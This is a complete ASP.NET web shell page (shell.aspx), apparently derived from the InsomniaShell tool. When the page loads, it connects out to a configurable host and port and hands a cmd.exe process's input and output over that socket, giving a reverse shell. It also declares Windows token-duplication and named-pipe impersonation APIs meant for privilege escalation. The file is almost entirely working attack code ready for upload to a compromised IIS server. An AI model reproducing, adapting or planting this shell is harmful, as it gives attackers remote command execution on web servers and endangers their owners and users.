shell.aspx

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
    
	protected void Page_Load(object sender, EventArgs e)
    {
	    String host = "127.0.0.1"; //CHANGE THIS
            int port = 1234; ////CHANGE THIS
                
        CallbackShell(host, port);
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public int cb;
        public String lpReserved;
        public String lpDesktop;
        public String lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int Length;
        public IntPtr lpSecurityDescriptor;
        public bool bInheritHandle;
    }
    
    
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string lpApplicationName,
       string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
       uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
       [In] ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

    public static uint INFINITE = 0xFFFFFFFF;
    
    [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
    internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

    internal struct sockaddr_in
    {
        public short sin_family;
        public short sin_port;
        public int sin_addr;
        public long sin_zero;
    }

    [DllImport("kernel32.dll")]
    static extern IntPtr GetStdHandle(int nStdHandle);

    [DllImport("kernel32.dll")]
    static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);

    public const int STD_INPUT_HANDLE = -10;
    public const int STD_OUTPUT_HANDLE = -11;
    public const int STD_ERROR_HANDLE = -12;
    
    [DllImport("kernel32")]
    static extern bool AllocConsole();


    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
                                            [In] SocketType socketType,
                                            [In] ProtocolType protocolType,
                                            [In] IntPtr protocolInfo, 
                                            [In] uint group,
                                            [In] int flags
                                            );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern int inet_addr([In] string cp);
    [DllImport("ws2_32.dll")]
    private static extern string inet_ntoa(uint ip);

    [DllImport("ws2_32.dll")]
    private static extern uint htonl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern uint ntohl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort htons(ushort ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort ntohs(ushort ip);   

    
   [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
   internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int send(
                                [In] IntPtr socketHandle,
                                [In] byte[] pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int recv(
                                [In] IntPtr socketHandle,
                                [In] IntPtr pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int closesocket(
                                       [In] IntPtr socketHandle
                                       );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern IntPtr accept(
                                  [In] IntPtr socketHandle,
                                  [In, Out] ref sockaddr_in socketAddress,
                                  [In, Out] ref int socketAddressSize
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int listen(
                                  [In] IntPtr socketHandle,
                                  [In] int backlog
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int bind(
                                [In] IntPtr socketHandle,
                                [In] ref sockaddr_in  socketAddress,
                                [In] int socketAddressSize
                                );


   public enum TOKEN_INFORMATION_CLASS
   {
       TokenUser = 1,
       TokenGroups,
       TokenPrivileges,
       TokenOwner,
       TokenPrimaryGroup,
       TokenDefaultDacl,
       TokenSource,
       TokenType,
       TokenImpersonationLevel,
       TokenStatistics,
       TokenRestrictedSids,
       TokenSessionId
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public static extern bool GetTokenInformation(
       IntPtr hToken,
       TOKEN_INFORMATION_CLASS tokenInfoClass,
       IntPtr TokenInformation,
       int tokeInfoLength,
       ref int reqLength);

   public enum TOKEN_TYPE
   {
       TokenPrimary = 1,
       TokenImpersonation
   }

   public enum SECURITY_IMPERSONATION_LEVEL
   {
       SecurityAnonymous,
       SecurityIdentification,
       SecurityImpersonation,
       SecurityDelegation
   }

   
   [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
   public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
       String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

   [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
   public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
       ref IntPtr DuplicateTokenHandle);

   

   const int ERROR_NO_MORE_ITEMS = 259;

   [StructLayout(LayoutKind.Sequential)]
   struct TOKEN_USER
   {
       public _SID_AND_ATTRIBUTES User;
   }

   [StructLayout(LayoutKind.Sequential)]
   public struct _SID_AND_ATTRIBUTES
   {
       public IntPtr Sid;
       public int Attributes;
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool LookupAccountSid
   (
       [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName,
       IntPtr pSid,
       StringBuilder Account,
       ref int cbName,
       StringBuilder DomainName,
       ref int cbDomainName,
       ref int peUse 

   );

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool ConvertSidToStringSid(
       IntPtr pSID,
       [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid);


   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool CloseHandle(
       IntPtr hHandle);

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId);
   [Flags]
   public enum ProcessAccessFlags : uint
   {
       All = 0x001F0FFF,
       Terminate = 0x00000001,
       CreateThread = 0x00000002,
       VMOperation = 0x00000008,
       VMRead = 0x00000010,
       VMWrite = 0x00000020,
       DupHandle = 0x00000040,
       SetInformation = 0x00000200,
       QueryInformation = 0x00000400,
       Synchronize = 0x00100000
   }

   [DllImport("kernel32.dll")]
   static extern IntPtr GetCurrentProcess();

   [DllImport("kernel32.dll")]
   extern static IntPtr GetCurrentThread();


   [DllImport("kernel32.dll", SetLastError = true)]
   [return: MarshalAs(UnmanagedType.Bool)]
   static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
      IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
      uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);

    [DllImport("psapi.dll", SetLastError = true)]
    public static extern bool EnumProcessModules(IntPtr hProcess,
    [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
    uint cb,
    [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);

    [DllImport("psapi.dll")]
    static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);

    public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
    public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
    public const uint PIPE_ACCESS_INBOUND = 0x00000001;
    public const uint PIPE_WAIT = 0x00000000;
    public const uint PIPE_NOWAIT = 0x00000001;
    public const uint PIPE_READMODE_BYTE = 0x00000000;
    public const uint PIPE_READMODE_MESSAGE = 0x00000002;
    public const uint PIPE_TYPE_BYTE = 0x00000000;
    public const uint PIPE_TYPE_MESSAGE = 0x00000004;
    public const uint PIPE_CLIENT_END = 0x00000000;
    public const uint PIPE_SERVER_END = 0x00000001;
    public const uint PIPE_UNLIMITED_INSTANCES = 255;

    public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
    public const uint NMPWAIT_NOWAIT = 0x00000001;
    public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;

    public const uint GENERIC_READ = (0x80000000);
    public const uint GENERIC_WRITE = (0x40000000);
    public const uint GENERIC_EXECUTE = (0x20000000);
    public const uint GENERIC_ALL = (0x10000000);

    public const uint CREATE_NEW = 1;
    public const uint CREATE_ALWAYS = 2;
    public const uint OPEN_EXISTING = 3;
    public const uint OPEN_ALWAYS = 4;
    public const uint TRUNCATE_EXISTING = 5;

    public const int INVALID_HANDLE_VALUE = -1;

    public const ulong ERROR_SUCCESS = 0;
    public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
    public const ulong ERROR_PIPE_BUSY = 231;
    public const ulong ERROR_NO_DATA = 232;
    public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
    public const ulong ERROR_MORE_DATA = 234;
    public const ulong ERROR_PIPE_CONNECTED = 535;
    public const ulong ERROR_PIPE_LISTENING = 536;

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr CreateNamedPipe(
        String lpName,									
        uint dwOpenMode,								
        uint dwPipeMode,								
        uint nMaxInstances,							
        uint nOutBufferSize,						
        uint nInBufferSize,							
        uint nDefaultTimeOut,						
        IntPtr pipeSecurityDescriptor
        );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool ConnectNamedPipe(
        IntPtr hHandle,
        uint lpOverlapped
        );

    [DllImport("Advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(
        IntPtr hHandle);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GetNamedPipeHandleState(
        IntPtr hHandle,
        IntPtr lpState,
        IntPtr lpCurInstances,
        IntPtr lpMaxCollectionCount,
        IntPtr lpCollectDataTimeout,
        StringBuilder lpUserName,
        int nMaxUserNameSize
        );
 
    protected void CallbackShell(string server, int port)
    {

        string request = "Spawn Shell...\n";
        Byte[] bytesSent = Encoding.ASCII.GetBytes(request);

        IntPtr oursocket = IntPtr.Zero;
        
        sockaddr_in socketinfo;
        oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
        socketinfo = new sockaddr_in();
        socketinfo.sin_family = (short) AddressFamily.InterNetwork;
        socketinfo.sin_addr = inet_addr(server);
        socketinfo.sin_port = (short) htons((ushort)port);
        connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
        send(oursocket, bytesSent, request.Length, 0);
        SpawnProcessAsPriv(oursocket);
        closesocket(oursocket);
    }

    protected void SpawnProcess(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101;
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
    }

    protected void SpawnProcessAsPriv(IntPtr oursocket)
    {
        bool retValue;
        string Application = Environment.GetEnvironmentVariable("comspec"); 
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        STARTUPINFO sInfo = new STARTUPINFO();
        SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
        pSec.Length = Marshal.SizeOf(pSec);
        sInfo.dwFlags = 0x00000101; 
        IntPtr DupeToken = new IntPtr(0);
        sInfo.hStdInput = oursocket;
        sInfo.hStdOutput = oursocket;
        sInfo.hStdError = oursocket;
        if (DupeToken == IntPtr.Zero)
            retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        else
            retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
        WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
        CloseHandle(DupeToken);
    }
    </script>